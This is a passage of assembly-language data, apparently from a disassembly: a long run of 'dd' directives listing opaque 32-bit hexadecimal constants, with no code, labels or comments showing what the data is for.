		dd 7C1964D0h, 44550F42h, 4D601E05h, 0E69BFB47h,	4E8724h
		dd 2A265F05h, 1D6488h, 3064A127h, 8AD0F862h, 2F8B8200h
		dd 3CAC29DFh, 3D6EFE26h, 0D380FE74h, 0BD7FF794h, 7DFE150Eh
		dd 393D4B0Eh, 629B0072h, 5F351Ah, 653CE909h, 5444764Ch
		dd 3EC74302h, 0E05B0CF4h, 0E711B0Eh, 0E003677Eh, 0AA798760h
		dd 1E002644h, 0BA6460FEh, 0EB2B8Ah, 0DD458320h,	311FB1C5h
		dd 0B61358F4h, 4AA0F091h, 9AAC264Dh, 0BFFD007Ch, 45293B32h
		dd 0CFB93100h, 54EFC90Fh, 90D03CF9h, 121ED880h,	2C289ABAh
		dd 0CEDDFF00h, 2A18CF2Eh, 36AB0180h, 0CC654E62h, 51A840E2h
		dd 57059A11h, 76CEF0E6h, 0A031DE00h, 1F25C8A8h,	7FB52660h
		dd 0D5ED1787h, 9539C0D3h, 56005F7Dh, 0E223C21Eh, 98E1715Bh
		dd 0F3A000D0h, 0B8D32B98h, 77073316h, 455109BEh, 0F35466E3h
		dd 0BB8E0068h, 4A90BC10h, 0F700E73Bh, 2574E2BFh, 1813F318h
		dd 50706303h, 0F7517C7h, 0C13F3400h, 0D480400Dh, 2BAC037Dh
		dd 94E06D4Eh, 9BA78FD8h, 67027700h, 40A4213Fh, 57B33035h
		dd 0F38E91E0h, 8754B003h, 0B061C8B8h, 5919AD83h, 3B001008h
		dd 15A1C706h, 540075BCh, 6971030Bh, 3F7E8FC3h, 0EA80FEBBh
		dd 0C1BCCDFBh, 5E1F7C46h, 6C4026FAh, 55AF93A4h,	0AE6F3DD7h
		dd 658E9B80h, 0A307567Ah, 4F00F57Ch, 7F3C7114h,	4CD0BEB1h
		dd 0B7005873h, 8D021EDCh, 40060A2h, 5E08354h, 26A6D5Ah
		dd 24852F13h, 5AE01967h, 7E006C73h, 1F064F92h, 0E3EBA5Ah
		dd 0CDCB628Fh, 0D8E16961h, 171BF0CCh, 5193F30Eh, 0D210E04Bh
		dd 3A492DF8h, 5301B813h, 2AF7F01Dh, 0A2FAC464h,	30EF2724h
		dd 900EC26h, 727A9FBEh,	81F00E66h, 1640C2C8h, 0BA9E7FF4h
		dd 9B5CEF06h, 0AE305h, 0BC4F7D74h, 0A1166578h, 28EAB200h
		dd 2F714473h, 423A00A3h, 9083BD39h, 0E8008D3Dh,	0DD0C3EEAh
		dd 7813EF8Ah, 2697429h,	0D8A6D594h, 10E00BA7h, 7D039886h
		dd 0DE93AB1h, 0C528E8DEh, 89F70575h, 0A7EF59h, 0C2ABBBF9h
		dd 43EE0340h, 6008CF2h,	8853C132h, 0EA991471h, 0B4630044h
		dd 0ED7F7C85h, 41003B08h, 98EC4A3Ah, 1A8C206h, 0EF395FE6h
		dd 0C371DFF1h, 74487EF0h, 0CE06DB00h, 0A01B1FA7h, 0A3B11CA2h
		dd 0E9E200B3h, 0E56E562Fh, 0A4C8D00h, 0FF898C6Ah, 0A0CB00A9h
		dd 679BFCC8h, 0BB07EA99h, 0C1E3F372h, 0CB5E8A60h, 0CE34008Dh
		dd 0C6EE8E87h, 793C94F5h, 0C0E289A4h, 59F400EBh, 0A2552Ah
		dd 0FC1275B8h, 365013Dh, 0B6018FB8h, 0A359C04Eh, 0D0F38DE6h
		dd 0B8B81FB4h, 0EE8700A2h, 0B7163820h, 33067E57h, 0FC0D7AC8h
		dd 1FA900A4h, 0DA9A0B86h, 0F9243ED1h, 372C54E7h, 0E44BA400h
		dd 260F4199h, 14A044BDh, 0B00CEA53h, 4D10491Bh,	3D6E5E24h
		dd 2781833Dh, 0D10822EAh, 9C45FD4Eh, 0A0345E81h, 1901C34h
		dd 52A3832Bh, 3A58AF14h, 0CFF8B0h, 0A4DC5764h, 0CBBBF881h
		dd 0D8D56C00h, 6E592AE2h, 99CE0728h, 0D3FDD207h, 7CD0C84Dh
		dd 0D3007411h, 4BE87EF1h, 2E1869DAh, 2709196h, 0DD4DC7BCh
		dd 36E99C80h, 0A100FB0Bh, 59E37502h, 6B4AC9h, 893B7D83h
		dd 47B54149h, 0B1EEE00h, 4A439907h, 70580039h, 961BC3CBh
		dd 0DA07B090h, 719205CFh, 0AD0FE0DEh, 52CCB4h, 5C4C6264h
		dd 0A91A5756h, 1B12DF00h, 518D6633h, 14440199h,	0D39ED2A5h
		dd 2758605Dh, 0BC01694Eh, 0D679D7FFh, 0D001782Ch, 0AE8785Bh
		dd 2650F8C4h, 1E5E900h,	2D4EA7EEh, 0AB6D1437h, 6900BC3Dh
		dd 0DDB45493h, 150091E9h, 182A38F3h, 1EC1E1h, 0C60D2646h
		dd 7AFE2C0Eh, 92C339h, 8DE2F389h, 7CF9EB61h, 9B4E0068h
		dd 4B12984Ch, 710FDA9Ch, 47884DC9h, 962066B3h, 0ACED86h
		dd 1259932Fh, 74DD91B8h, 0E8F014Ch, 13E47B45h, 1046A403h
		dd 0A63AD829h, 1D357E20h, 524D1B39h, 0C52800D5h, 0E08E6A6Eh
		dd 9AC03E67h, 7812CA40h, 622F0040h, 0DDE5753Fh,	2D0076ACh
		dd 2A0FEFC1h, 0EE67B8h,	31EB0154h, 3F7917DEh, 14E62402h
		dd 4075CA82h, 75FE2A60h, 537A00A0h, 64007E2h, 0BF03F80Ch
		dd 0A43714DBh, 102C904Ch, 0FE21005Bh, 0CC5C59BCh, 1A504075h
		dd 955C89C4h, 0CE6B141Ch, 66D53084h, 180676h, 32384F7Bh
		dd 2E7A0D59h, 0F3B6510Bh, 3B0ED585h, 274C2A5h, 5ACE46C4h
		dd 0E9B82AE3h, 0D105BF96h, 4E1691B9h, 3AD492h, 0D465A59Ch
		dd 7B385D5Ch, 59160300h, 71DD3609h, 0A2792C74h,	0B81049Fh
		dd 0DAC1C3BEh, 0BF2C4000h, 5826D6D0h, 98330073h, 398106F1h
		dd 0A3009B7Eh, 523794C7h, 28D738B2h, 1B448E4h, 664F017Bh
		dd 306CD3AFh, 255C1A70h, 0BFF60095h, 3BED36FFh,	0F75B0390h
		dd 0D0C757A7h, 0DCDA7688h, 0F3F64700h, 0AC891E4Fh, 0BF28005Bh
		dd 43871FADh, 22001C2Bh, 16CFBC0Bh, 972A8Eh, 128C0F85h
		dd 0CEB72EC7h, 4DE90C00h, 0C878A527h, 0FFE74C2Fh, 67BA0600h
		dd 0D87DA6EBh, 53384A05h, 0C4011C17h, 5AB0B487h, 78E2D0h
		dd 399AF3A3h, 5FDD7131h, 16687A0Ch, 2706241Fh, 0B8805084h
		dd 0DFD2E888h, 0EAAED00h, 0CEA1A339h, 4D86E006h, 2000E04Fh
		dd 222EC1E9h, 2500C360h, 0E51F7B42h, 0C08098CBh, 3B8AAEAAh
		dd 4507C714h, 3D544BC9h, 0BE76AFC1h, 50478420h,	125C4E5h
		dd 550DC420h, 0C89D40FEh, 0D44CF7DBh, 0A7EE285Ch, 35570304h
		dd 88C07887h, 0F8C11A68h, 2A760031h, 0B9BDD9FAh, 48002EEFh
		dd 0ABA502B3h, 0CCFE54h, 0D471B1D1h, 85302063h,	0D2114360h
		dd 4B6D3Bh, 3AE059CCh, 5C8463D0h, 0A290E66Fh, 0E0EB092Ch
		dd 9247F694h, 62F306B0h, 18E251EEh, 13831800h, 0FD6C5960h
		dd 8FA400C9h, 9104854Ch, 1B01C51Dh, 0D29A6AB5h,	0E0E637DBh
		dd 3B4614h, 8FC2ED30h, 0F947656Eh, 63453E00h, 22213AC6h
		dd 0DE3C166Ch, 7D5000C9h, 70B0DF16h, 82E848h, 9CE59BCEh
		dd 6B3444h, 0CDF8CFB2h,	1E61F1E7h, 9D00E6FCh, 0AAF550DFh
		dd 0FA9E02FDh, 0D7780133h, 0F9632237h, 26FBF027h, 0DD729700h
		dd 64D079DEh, 9C010635h, 0E8450305h, 0B36BC100h, 5B69DC7Ah
		dd 4087385Eh, 1402D059h, 2F1B2CACh, 86AD95E0h, 3C62A204h
		dd 3681B496h, 29E4F2CDh, 0D18F3C5Fh, 837DAD81h,	0EE47B8C2h
		dd 0BC177AC0h, 0E049900Bh, 0CDD0825Dh, 0A0A880E1h, 7297870Ah
		dd 9EC700ABh, 7A373388h, 9067928h, 0D506F230h, 0AFB60032h
		dd 0B8203B44h, 37003149h, 0FDDCE1A5h, 24D3A8DEh, 0B3EDC7h
		dd 153F3507h, 0B7004BDAh, 0E0ABA3B0h, 8D3AF2h, 0FD3E9559h
		dd 93D3CBF3h, 9DC86F01h, 0D470A720h, 0F8A58470h, 0E53D0034h
		dd 51F97BE4h, 0B407C35Ah, 5878746Ah, 1E21406Fh,	273057Eh
		dd 336D44D5h, 38E0093Ch, 6170A574h, 0FC6EC300h,	0E9F91731h
		dd 97BD2F2Ch, 93CF170h,	0E475F696h, 0A95D7807h,	0CEC00842h
		dd 0AB7A2Ah, 0D5416879h
		dd 505F45D2h, 800E933Eh, 0B95E3A61h, 0EC92B4h, 0B20D7138h
		dd 4363CCABh, 33BA931Dh, 7A00E693h, 44E9CFD0h, 6C90004Ah
		dd 1D8F72E7h, 654CF3F1h, 69830094h, 56295F9Bh, 61D800DCh
		dd 720413C9h, 0A91E51BAh, 6C0C8B1h, 8DC509DEh, 0E4C4826h
		dd 5A03D700h, 6D4037CAh, 6E003970h, 91BFA29Eh, 0FCF196h
		dd 442BF3F0h, 1EC447C7h, 0C874E000h, 24AB1BDCh,	6CE40075h
		dd 392AFCFAh, 65006419h, 0AA2D01F4h, 0ED9AA0h, 0FAA6F746h
		dd 3E9E2EEBh, 7301D07h,	0A5D06477h, 0FFB0B5h, 4148C122h
		dd 3CABB325h, 33242F00h, 42F6CCFAh, 898E00E7h, 0D11809C0h
		dd 3C00F50Ah, 6C8F59ECh, 0FB150Fh, 9F2F662Ah, 0D72D9445h
		dd 993C9C01h, 1E90CC8Dh, 0F0B477E8h, 7AC7008Ch,	0D47EB6BCh
		dd 301D6AEBh, 42C74302h, 13216728h, 0B5D9779Ch,	0F4940ADCh
		dd 8AAF00C2h, 0AA415A07h, 0ED1E72BFh, 8500B437h, 0CE662780h
		dd 548D0347h, 0D57A65F9h, 9D3582Eh, 0B71D562Ch,	0AD672D00h
		dd 431A14h, 1F55D4F2h, 0B68DA646h, 6096650Eh, 64E320DCh
		dd 0EE18345h, 352F19D5h, 5AB29C20h, 7B00B978h, 0F24D83Ch
		dd 3FF290h, 0A9718EFDh,	52E19B4Ch, 4D064400h, 0BB2D19B3h
		dd 1A0F00ACh, 0AE1DD941h, 0D1009136h, 0E2B74865h, 45EC19h
		dd 878504CEh, 0AE5A76CBh, 0B21F511Ah, 92BC4040h, 885C0981h
		dd 9E8047ADh, 0A81C8CB1h, 9353E000h, 0BF5D8BB3h, 479607D2h
		dd 0F023144Dh, 37F5184Ah, 69A3CD00h, 2863DCF0h,	0D39A0135h
		dd 0F33EC43Dh, 499641AFh, 0A4C88022h, 0E7277CFFh, 4240584h
		dd 0FCF2C1CEh, 8E34007Dh, 0F5733840h, 41BC0071h, 8CC49644h
		dd 4800C27Bh, 9A67262Eh, 0A4F1FCh, 7CDAB670h, 0EF86DBE6h
		dd 1DD7400h, 0F894A71Eh, 72A30AADh, 609CD829h, 5E659935h
		dd 19003EF4h, 0E8A2C0D4h, 544B52E6h, 7B428h, 0BDE702Ah
		dd 62321422h, 2AE1300h,	6A8D27B8h, 2A12039Eh, 0DCD3B26Dh
		dd 0D4F1E5A8h, 67F61C07h, 0FB10A41Eh, 0D150CBh,	0BC1FB739h
		dd 29FEBAC7h, 6A467D00h, 70E68962h, 0A0865C11h,	0FA1DD400h
		dd 46E99167h, 773EA403h, 889EBC88h, 4165DEh, 0D8F8A4Dh
		dd 0C3FBE074h, 0EB47AC00h, 0D20F2170h, 3D870FC8h, 0C680EA5Ah
		dd 0FD35E54Ch, 0FB2A9000h, 0A6EF895Dh, 16F7ABFh, 135881F6h
		dd 0D0495E5Ch, 60013383h, 2B10C855h, 0E4207243h, 0F890069h
		dd 86010A2Ah, 63012EDAh, 75DC7D4h, 18802BB1h, 0A6F6C858h
		dd 10905BD5h, 4F323100h, 12F18F88h, 742118F0h, 0CA8EA009h
		dd 123FEB88h, 3B390E1h,	8D1E538h, 0E06079C2h, 8500B861h
		dd 9D50CF42h, 381DADDh,	541B2DF0h, 0D5F00C34h, 0CB03A9E6h
		dd 63AEBDC0h, 0DF613DCEh, 2A1DEA44h, 0B7025752h, 802BEFE1h
		dd 0A731DCE0h, 9DCD0007h, 216A8593h, 5A2C8EFAh,	8F0041D1h
		dd 0F3BDF67Ah, 411D00F1h, 0AE1C9DB1h, 21000F9Fh, 0E277DEE8h
		dd 75B220D2h, 2BBB02DBh, 0DD84134Bh, 94005C43h,	8B06660h
		dd 8F2F80h, 0D223D1DFh,	0BE787DE1h, 0B8625700h,	0FADCB422h
		dd 33CB0070h, 0D9859BD4h, 462415DBh, 64000BABh,	9DB82E10h
		dd 9B713092h, 0CBDEEE80h, 65D25300h, 0C3FAD91Dh, 78520009h
		dd 79687DDh, 1E07B551h,	0A4DA8830h, 8C0080CAh, 49802270h
		dd 8A250017h, 0E2916997h, 9D00B32Ch, 2482460h, 0E6210B4h
		dd 0A514CBA7h, 0DE010380h, 15166E93h, 0B5000FDBh, 0DC9BEB97h
		dd 24A1739Fh, 0F84643h,	56C9ECF0h, 970151F7h, 8EA04F5Ch
		dd 0E080AEEDh, 0B6B82C3Ah, 0E7007584h, 41F35AB0h, 3BCB899Ah
		dd 0F080D379h, 0B3E2504Ch, 0D00F1BBh, 8519810Bh, 0E56DF5h
		dd 0FB5034Fh, 0F74B4D66h, 2BBE2200h, 168D8BD2h,	9DCC0064h
		dd 0B363374Ch, 0D6002F8Eh, 24ADEC5Ch, 0BDF37Fh,	5F3CBE53h
		dd 0D7CF49E2h, 942DD300h, 5EA37B8Ah, 1ED900BDh,	54C068BBh
		dd 74009DD1h, 0FDE11A4Bh, 270E9AB4h, 65F4A3E4h,	2620023Bh
		dd 40ACEBCEh, 4F782CAh,	0BA238D85h, 816834Fh, 0F8409898h
		dd 890091FCh, 115FCC83h, 65DA26h, 0A0D864F1h, 0F83DD450h
		dd 6010E50Eh, 0EDDE0FCh, 3F0DBCCDh, 77804E24h, 0F77A216Dh
		dd 51074537h, 0B64B2275h, 493F3081h, 167F10F4h,	0F933C7h
		dd 0D48BA605h, 4F00B922h, 0C99926B8h, 703D28h, 0A0A13105h
		dd 7F586508h, 7940213Fh, 4E5E3500h, 3972026Dh, 0D161773h
		dd 2D8C0047h, 8AB3DFADh, 4E1F4Ch, 6B5FFACh, 7205D16h, 0C0CF38CCh
		dd 0D9E7C0D5h, 0FF0092EEh, 2C9307E6h, 731DE4h, 0E3BD0A80h
		dd 0D2E8DB44h, 38700BDh, 253C60h, 0FD0A6D14h, 27DADE59h
		dd 7F00FBFEh, 69D3A7B1h, 60902FE5h, 3E5740CBh, 9E010B33h
		dd 0A8A13DD9h, 992118C1h, 1430E1F8h, 9C0D3462h,	5BFC7303h
		dd 3399432Dh, 7B902013h, 845E1D01h, 7F77B348h, 3B3FC0DAh
		dd 38988Dh, 37BA668Bh, 440DCFC9h, 0FAD67D01h, 9923DA1Dh
		dd 71FB57CCh, 24C90066h, 5DC30885h, 0AA030465h,	797A1691h
		dd 4D4B88F5h, 1AF405E8h, 8034BCB7h, 3E7E602Ch, 3B3A8C00h
		dd 0AEEA23D9h, 1C450050h, 0AC5E31B1h, 0A89206A3h, 57AF1A00h
		dd 4E2263E4h, 0BCF7007Fh, 0AC5D55DFh, 8A04842Bh, 346F97B6h
		dd 0DC8940D0h, 39A30977h, 90A0D457h, 6DE75295h,	1FB5601Eh
		dd 6E8743C0h, 84EFBh, 55F5A028h, 81F0A596h, 0BF6BEB00h
		dd 0B7CA773Dh, 0E119037Dh, 9884189Ah, 0CC608FA0h, 0D3758500h
		dd 49BC8E65h, 64044C7Dh, 58FD1B02h, 0D869031Eh,	0E3BEFC6Eh
		dd 3944F51Dh, 20CF5FCBh, 86D8A398h, 8C4201E1h, 72BCE952h
		dd 0F554E0DEh, 748514Ch, 0FB7D03D2h, 93D47910h,	0ACF4023Bh
		dd 0B8F24783h, 0C00B3C61h, 9001DDADh, 0EB204436h, 0E3D07410h
		dd 66E50059h, 0F4EF85D7h, 8F157054h, 0A8FF35h, 0C7B6E672h
		dd 1D7E127Dh, 8041E3AAh, 9DC0D15h, 6C007834h, 0B4405F97h
		dd 0D87492h, 49E9C50h, 0AEB32A01h, 957F8300h, 8118BD9Dh
		dd 9B0700C6h, 0A97B7C60h, 0DB098BFCh, 0C7A1DCh,	90081E44h
		dd 43E0030Fh, 0AA7A8C62h, 50D3ECE9h, 0B4CAFA80h, 9E31DA01h
		dd 0B1134A3Eh, 77C5C860h, 64F90078h, 8CE89FCEh,	50107E3h
		dd 7C6D8801h, 0E42040F3h, 0B27EECAEh, 1C64006Ch, 0E85B9DA2h
		dd 0C35DD710h, 0D8FC00F4h, 0A6FA6547h, 0A0180037h, 0A4563F44h
		dd 0EF245548h, 0D20BAF98h, 0B0CC0078h, 3303C7h,	0D958A40Ch
		dd 92A70D96h, 1A608700h, 9866FC6Ah, 245FE6EEh, 0C0065Eh
		dd 9DC88B51h, 0FD0315A0h, 9E3FEFF7h, 80E01F3Dh,	29E000C4h
		dd 0D4B0476Ah, 5794681Eh, 0F8791701h, 0FB47D305h, 23425361h
		dd 24FC1020h, 69E9E7h, 2465BC6Ch, 0BB5C8AA9h, 0F94C000Eh
		dd 0CD8B1D58h, 49C4005Bh, 74BC9E6Dh, 7190CA23h,	0D20EEE00h
		dd 0C89BFB64h, 628217BDh, 0ACF842FEh, 0E52799D0h, 0F4488079h
		dd 0BBE05Ah, 374215C1h,	1CAADEF0h, 0AE90D001h, 66A9182Ah
		dd 0C20420h, 5651B5E8h,	61D08DADh, 0E5008878h, 0F470F974h
		dd 4EF375h, 90109DBEh, 7A8254DCh, 3A02A8B8h, 0F7AB2481h
		dd 3D18E1C0h, 7BD822A8h, 1E800067h, 5B88A725h, 1200477Ch
		dd 2AA0496Fh, 0AE1AECh,	0AB9C7A8Bh, 0E49D0ACDh,	60987DF8h
		dd 66B71B00h, 0B9F65BA7h, 80ECB14Ah, 0E55283F9h, 0D61C3287h
		dd 3F40488Eh, 0EA960DCDh, 2F59075Dh, 71E7F188h,	0C8031887h
		dd 0C90EE3B3h, 0DECA09B2h, 0CC241A80h, 31544B0h, 0FC88D5FFh
		dd 67F057F1h, 683933BFh, 43588FE6h, 0BBA884A4h,	3E0830A0h
		dd 0CE00236Bh
		dd 0F9678B06h, 48070AB5h, 76438EC2h, 358CC391h,	29C4F0E1h
		dd 547828h, 0C802FA55h,	0CE2CB2ACh, 0E60DEE05h,	0A082F294h
		dd 46B180C1h, 9AAE84Fh,	0AFDF0C99h, 33AB34A0h, 1C1FB8CDh
		dd 0A4C01FC6h, 0BB241199h, 7CAF00FAh, 52B0D6Fh,	0C0497ED5h
		dd 0DC80C0FCh, 29F185h,	0F26E8CCCh, 24AC19C2h, 0AFE32800h
		dd 0A3268A65h, 382B5810h, 0EB967600h, 206F4C81h, 2CA160E5h
		dd 695A0524h, 0F7068300h, 38E4D13Ah, 0D200CDD8h, 0D9A08C2Bh
		dd 4460486Ah, 0D7C738F2h, 0CD693875h, 0AC8E7280h, 250A103h
		dd 5304DA98h, 6EDA783Fh, 0C07BB890h, 0F91D008Ch, 4A0E8D77h
		dd 3C13BBF5h, 0C4059CB2h, 68339CFh, 6840F026h, 0D2EE5Bh
		dd 5D56AD8Dh, 7CC23F11h, 0B8A2D50Fh, 60466F98h,	0B57E36BCh
		dd 766300FBh, 37FFDBEAh, 5624524Fh, 394C91h, 7E8764C0h
		dd 0EC62D417h, 0D07985h, 0C1ADA9AEh, 0DDB02C48h, 0B50E8B75h
		dd 605FB10Eh, 0EF0F8A17h, 60DA0371h, 2EE143FAh,	59C77398h
		dd 0E6D42500h, 8458AFC9h, 0EC2600FCh, 9789FB6Dh, 0D101F415h
		dd 0A9672755h, 0BDE06473h, 5EED0E58h, 542670C6h, 0E1F10C2h
		dd 858DBD1h, 907D8420h,	2A70414h, 0C0E2F8E1h, 24A5B7BDh
		dd 57DBA300h, 35235F77h, 6D29047Eh, 82E7E2BFh, 4480C6FFh
		dd 7F9D285h, 18D3BD07h,	6C33324Ch, 9E2840E3h, 0B2DB2810h
		dd 0F18B0238h, 0D1F6EBB7h, 0D060B6C1h, 1306F007h, 0FC6DF23Dh
		dd 0B3EF0C28h, 0A95021AFh, 9392FE03h, 0F32589C8h, 0D5808705h
		dd 6FB704h, 7EF8BCB1h, 0A55D5778h, 6CF1D200h, 0A8D103Ah
		dd 5EFB00EBh, 7F1BDF50h, 99073394h, 0A31C5477h,	0CBB1D20h
		dd 0B73A05ABh, 1F570562h, 6681BFAAh, 5A13939Dh,	0FCB99568h
		dd 3004F804h, 0D31081FFh, 0ED03AAA1h, 32E372C1h, 0B12AE00Eh
		dd 1BF10FDDh, 8980EACCh, 20532F02h, 0FCF8CFF8h,	7AD2A13Eh
		dd 0C1A4F206h, 659C203h, 7A59E6A8h, 8B3F50ECh, 185B440Ah
		dd 29D67013h, 0C628A7C2h, 77009CD8h, 454BE971h,	31180F2h
		dd 0BC7F840Eh, 5998F954h, 0B9C560F1h, 6004BEE4h, 55008361h
		dd 5B821DC3h, 1F9718C0h, 591E17Ch, 93F24BB5h, 1A7030BCh
		dd 0B1071E18h, 3C6A2127h, 30CC6640h, 88F506F7h,	0E8357902h
		dd 1732DD00h, 8B6DFB26h, 13B408B3h, 7682A373h, 0B0F24D9Bh
		dd 74FA264Ch, 0B70F029Eh, 0B430FF65h, 73C1BD04h, 9448BC1Dh
		dd 7179188Ch, 3224A937h, 38621930h, 0A4BB8D4Dh,	0D50485F4h
		dd 59AC813Fh, 5D091FCDh, 502D0434h, 1F3E441h, 89B5EBFDh
		dd 2021C9CCh, 0A4011D04h, 8A2F5B2Ch, 29883BABh,	0B7A8E081h
		dd 3DC029C4h, 51B1324Eh, 2A298839h, 841C9015h, 394445D4h
		dd 291144BCh, 33CF844h,	0D84B3ECAh, 0CC6E69h, 0F0500A77h
		dd 572CCE0Ch, 0C2DF4EC0h, 780A3h, 0E6B79ABAh, 6F97648Fh
		dd 112026C2h, 2D4840D5h, 0BAC33D47h, 0B500D9BDh, 921D7C37h
		dd 2617F783h, 26010F28h, 1BB9C505h, 9ABFE8h, 12E0AF6Dh
		dd 2F5234C1h, 84291400h, 93BD8C0Ch, 0E3FD0088h,	0E2987A6Bh
		dd 11008FDAh, 4B26866h,	70E18AC9h, 7C320056h, 711582EEh
		dd 9B00260Ah, 1A283FCh,	6388F9h, 5C47023Ch, 0E3366CDh
		dd 8BB42300h, 755ED2DEh, 8771864h, 0B61740D1h, 0B8A74200h
		dd 2BA20768h, 0C14439E1h, 407C6012h, 0E7A0B0ECh, 2A00F259h
		dd 7450025Ah, 0B16001h,	29BBF903h, 2767D66Ch, 100DEB00h
		dd 941133C1h, 35A11663h, 40F91C13h, 85667B05h, 1A01B512h
		dd 0E745253Fh, 0E0F02A17h, 712892ADh, 6098FCC0h, 73142999h
		dd 0D00E7950h, 8023155Dh, 0EFD24F56h, 0CFDA0043h, 0F6D6BDE6h
		dd 1200C4DCh, 1951EC52h, 0F4DF57h, 7BF07C45h, 4A9BBCD2h
		dd 0BA29663Eh, 0D0DA801Eh, 6207F711h, 0D2183F73h, 3649220Eh
		dd 12DB2FA0h, 0B500809Eh, 590DC9C3h, 70FD8B0h, 40634129h
		dd 0F30630E2h, 6A0071F0h, 0AE3A70E4h, 0F6DE3h, 2BC83949h
		dd 0DFC4B04Ah, 988E7807h, 3EA095B3h, 1C557BE0h,	0C0B75128h
		dd 5FDE5417h, 3BFAE1EEh, 0B0AC902h, 815E7A5Bh, 0F24AC1BCh
		dd 3D2FC4C4h, 0DF802A4Eh, 58B4A1D4h, 0D800109Eh, 6B1163C8h
		dd 29FC33h, 78B67A1Ah, 0FB8D20B0h, 9249276h, 0F60B58CCh
		dd 0D51284B9h, 0B74B5480h, 6A98007Eh, 61B2D20Eh, 0FF006376h
		dd 713F2ECCh, 7792FC23h, 0E70900AAh, 0D4C2A35Eh, 0ED075BB5h
		dd 0D5599778h, 300090CAh, 0F495A473h, 0FB87037Fh, 8F8A506Fh
		dd 4C1A301Dh, 0BD49C340h, 45C498h, 80EA57FDh, 68C21CE2h
		dd 26926114h, 41112D1h,	0BE0014h, 0F290C10Ch, 2417C59Ah
		dd 8034E27Dh, 3B61AAD5h, 3548F780h, 180700E7h, 0E089BF48h
		dd 6CE900D9h, 772C951Eh, 9100CB7Eh, 0C90DA862h,	1FE57511h
		dd 0C068A007h, 4A4D1C88h, 58C0FCAEh, 0AC1871F1h, 21E3015Eh
		dd 8BCD4E8h, 0E6FAD0B2h, 4110ED6Fh, 0E5B84BF2h,	6031CB60h
		dd 0E94D56DDh, 44241852h, 0B4097813h, 0EED4009Fh, 0DD3AD8h
		dd 55193EDh, 22475343h,	1D3C3490h, 87CC5Ah, 0ED1A3638h
		dd 0DEBFCFh, 749E6F18h,	6B7CDD42h, 0F44D0D24h, 6B10F00h
		dd 0AD4B4Eh, 2B063A0h, 1C5B5F70h, 777F11C0h, 766569D2h
		dd 9C9100EEh, 2A0A37C8h, 0E6001A4Dh, 92FA8947h,	906C5DD3h
		dd 343300B4h, 3EAD8C83h, 0B0FCBCFh, 8054F3EDh, 69909F1Ah
		dd 0F8D00B4Ch, 9F0042FFh, 0F45C65CFh, 7274FC0Fh, 0BBA2249Ah
		dd 45FE8B80h, 39DE00D7h, 6DC3BC98h, 3E00280Dh, 0BB64121Eh
		dd 0C5BEF2h, 996936E8h,	67CD1773h, 0A5249400h, 0D45A5533h
		dd 0A01E7EACh, 138C219Ch, 6C153Bh, 2F3A42DCh, 5F005791h
		dd 1D8A7108h, 0D09FD9h,	6B9C7EE0h, 0CCBC6117h, 19473200h
		dd 1BB04C5Bh, 0B1D10F60h, 40E07B74h, 0C717D95Eh, 535D3507h
		dd 21302E68h, 9227800Fh, 1AEF00E8h, 899C0A83h, 8D076EC3h
		dd 1222CF84h, 0CCA3CD70h, 0BBE65Ch, 7D4BB826h, 7206F155h
		dd 68EF3B0Ch, 0F0EC28B4h, 56A21DFEh, 5A7B03FDh,	10097FDAh
		dd 80BB0706h, 1CACCCEAh, 7D5D00F8h, 2FB11A95h, 20B9B3Fh
		dd 803C3ACEh, 39709160h, 7E6E009Dh, 0ACC19589h,	8CEC7308h
		dd 0DB18281Ch, 44CEE01h, 0A8C70B93h, 16FCDA0h, 0C407EDC0h
		dd 0C01BF882h, 9703E878h, 5F486B8Dh, 7DD2F842h,	1627024Eh
		dd 3CC7FEA1h, 76515C0h,	0AA00BC90h, 2714964h, 80432Ah
		dd 0D8B99932h, 7D8DF685h, 1D30FE4Dh, 1F8ECCF4h,	0A574A081h
		dd 60D668h, 0E4EC147Eh,	7C0BED59h, 0D4EBBB00h, 0FF5DBC99h
		dd 97F400A3h, 6F01171Fh, 0A60FDD69h, 0A0F5BAC5h, 1A776568h
		dd 96CB00CDh, 0E0A84CFh, 98001530h, 7214E0EAh, 1652B28Ah
		dd 0FCE417h, 0A7803437h, 34901F28h, 0BF2A38h, 7C227640h
		dd 38A5AC33h, 7E09751Dh, 7880EC8Dh, 0F16785FDh,	2638DE00h
		dd 3F2CCF42h, 88FF0076h, 0A3073959h, 6E83D28h, 712F2100h
		dd 0F4C842D3h, 0B64F2C5h, 0B1A8C47Fh, 0F8637880h, 33E23992h
		dd 0DB7E81F8h, 60032D03h, 88A58FEEh, 13902248h,	1FBD361Ah
		dd 0BBCA80FCh, 6ABF7A3Dh, 700DEE6h, 64BA268Fh, 0B0CE6079h
		dd 0B42D008Dh, 0CDCE00Dh, 48008CFDh, 4C6AD6D3h,	12E8A3Eh
		dd 76D70D4h, 0D717DF1Dh, 40268DF9h, 9F3E2398h, 6801F700h
		dd 0C30D0F05h, 0D0880060h, 0EDB9AA7Ch, 350FE886h, 0F83A151Fh
		dd 9546C20h, 991B9175h,	2D74F080h, 6008092h, 5D88D5F4h
		dd 0C55371Ch, 0A0CBA21Ah, 10FDD20h, 3F314D54h, 83D76F44h
		dd 33F004A1h, 0F40A013Fh
		dd 0DB791BCh, 234C854h,	0FBA23509h, 47E0900Eh, 11FE60AFh
		dd 9DA1C4ECh, 704CFF02h, 586BDE52h, 1802F82Ch, 28D630E3h
		dd 0AD06D26Ch, 66C93826h, 13A40020h, 0DA0AEC36h, 0E31FA825h
		dd 701712B0h, 9F033F00h, 75425CBCh, 24B88Ch, 0A5970D66h
		dd 8AA93A7Fh, 0C1080501h, 0CBE828CAh, 0E2D1F4h,	8C2EFF34h
		dd 4075855Fh, 38D6A901h, 7C527F90h, 3224C8h, 6CB76B0Dh
		dd 89406086h, 0DF58F000h, 14A48750h, 0CD4B0545h, 0AB5CEA9Eh
		dd 73763180h, 246FE634h, 89204974h, 0B4801903h,	611F5A54h
		dd 0C64230FBh, 2F0917E0h, 674706h, 5D6038D8h, 0E4C41735h
		dd 5914006Ah, 3F8D0A5Ch, 0C6AF2207h, 40A14413h,	202078B7h
		dd 826D0014h, 3CB8869Eh, 19009C18h, 13EB4D47h, 0EC2B4DEh
		dd 85953B81h, 3F6EF180h, 5005E65h, 38190168h, 595D2Bh
		dd 6F0655E4h, 56211AD3h, 7A00D89Ch, 52617734h, 0BCF30EB4h
		dd 8820E9C2h, 6D824695h, 4AB74E00h, 0ED1E8145h,	92D201ACh
		dd 0C7385AA6h, 0DD24FC90h, 80691300h, 7E4B8E39h, 109B4CE6h
		dd 6781AF04h, 7CECC0DAh, 9E4910ACh, 0FA240010h,	0E9DB0515h
